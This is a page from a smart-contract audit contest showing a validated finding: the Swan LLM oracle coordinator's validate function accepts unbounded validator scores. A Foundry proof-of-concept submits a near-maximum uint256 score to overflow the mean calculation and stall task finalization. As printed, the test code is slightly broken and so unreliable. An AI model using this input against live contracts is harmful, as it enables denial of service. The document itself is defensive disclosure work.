Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: medium
Valid

Unbounded Score Values in Validation Process Allow Malicious Validators to Manipulate Final Task Scoring

Summary

The validate function in the Swan contract allows validators to submit scores for task generations, which are later used in statistical calculations to determine task completion. However, there is currently no restriction on the score values submitted by validators, leaving the function susceptible to exploitation. Malicious validators could submit extremely high scores, either manipulating the final scoring to invalidate others' submissions or even causing a Denial-of-Service (DoS) by forcing a mean calculation overflow, thereby preventing task finalization.

Vulnerability Details

This vulnerability arises from the absence of boundary checks for scores submitted in the validate function. Without upper and lower limits on scores, a validator could submit a very high score, skewing the mean and standard deviation calculation. This could result in:

Bias in Final Scoring: A validator could force out other valid submissions by using high scores to shift the mean and standard deviation, effectively biasing the validation outcome in favor of their own submission.

Mean Calculation Overflow: Setting scores at maximum unit values could cause the mean calculation to overflow, particularly in the Statistics.avg and Statistics.stddev functions, which could prevent task completion as the scoring calculations fail to finalize.

function validate(uint256 taskId, uint256 nonce, uint256[] calldata scores, bytes calldata metadata)
public
onlyRegistered(LLMOracleKind.Validator)
onlyAtStatus(taskId, TaskStatus.PendingValidation)
{

Test:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "contracts/llm/LLMOracleCoordinator.sol"; // Adjust the path as necessary
import {LLMOracleRegistry, LLMOracleKind} from "contracts/llm/LLMOracleRegistry.sol"; // Adjust the path as necessary
import {LLMOracleTaskParameters, LLMOracleTask} from "contracts/llm/LLMOracleTask.sol"; // Adjust the path as necessary
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ProxyAdmin} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {UUPSUpgradeable} from "@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
contract MockToken is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract LLMOracleCoordinatorTest is Test {
LLMOracleCoordinator coordinator;
LLMOracleRegistry registry;
MockToken token;
address dria;
address requester;
address[] generators;
address[] validators;
uint256 taskId;
uint256 constant SUPPLY = 100000 ether;
function setUp() public {
dria = address(this); // Use the test contract as the deployer
requester = address(0x1); // Example address for requester
generators.push(address(0x2)); // Example address for generator 1
generators.push(address(0x3)); // Example address for generator 2
generators.push(address(0x4)); // Example address for generator 3
validators.push(address(0x5)); // Example address for validator 1
validators.push(address(0x6)); // Example address for validator 2
validators.push(address(0x7)); // Example address for validator 2
token = new MockToken("WETH", "WETH");
LLMOracleRegistry impl1 = new LLMOracleRegistry();
ERC1967Proxy proxy = new ERC1967Proxy(address(impl1), "");
registry = LLMOracleRegistry(address(proxy));
LLMOracleCoordinator impl2 = new LLMOracleCoordinator();
ERC1967Proxy proxy2 = new ERC1967Proxy(address(impl2), "");
coordinator = LLMOracleCoordinator(address(proxy2));
registry.initialize(1 ether, 1 ether, address(token));
coordinator.initialize(address(registry), address(token), 0.001 ether, 0.001 ether, 0.001 ether);
for (uint256 i = 0; i < 3; i++) {
token.mint(generators[i], 100 ether);
vm.startPrank(generators[i]);
token.approve(address(registry), 100 ether);
registry.register(LLMOracleKind.Generator);
}
vm.stopPrank();
for (uint256 i = 0; i < 3; i++) {
token.mint(validators[i], 100 ether);
vm.startPrank(validators[i]);
token.approve(address(registry), 100 ether);
registry.register(LLMOracleKind.Validator);
}
vm.stopPrank();
}
function testScoreOverflow() public {
token.approve(address(coordinator), 100 ether);
token.mint(address(this), 100 ether);
LLMOracleTaskParameters memory param = LLMOracleTaskParameters({
difficulty: 1,
numGenerations: 2,
numValidations: 2
});
coordinator.request("PROTOCOL", "What is 2 + 2?", "gpt", param);
for (uint256 i = 0; i < 2; i++) {
vm.startPrank(generators[i]);
coordinator.respond(1, 1, "4", "");
}
uint[] memory scores = new uint[]();
scores[0]= type(uint256).max -10;
scores[1]=100000;
vm.startPrank(validators[0]);
coordinator.validate(1, 1111111111, scores, "");
//@audit test fails here because scores sum overflow
// [FAIL: panic: arithmetic underflow or overflow (0x11)] testShouldRegisterOracles() (gas: 820607)
vm.startPrank(validators[1]);
coordinator.validate(1, 2222222, scores, "");
}
}

Impact

Overflow in mean calculations could cause contract operations to revert, effectively creating a Denial-of-Service attack and preventing finalization of tasks.

Tools Used

Manual

Recommendations

Impose minimum and maximum thresholds for validator scores, ensuring that inputs remain within reasonable bounds and preventing extreme values from disrupting calculations.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Unbounded score values in `validate` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.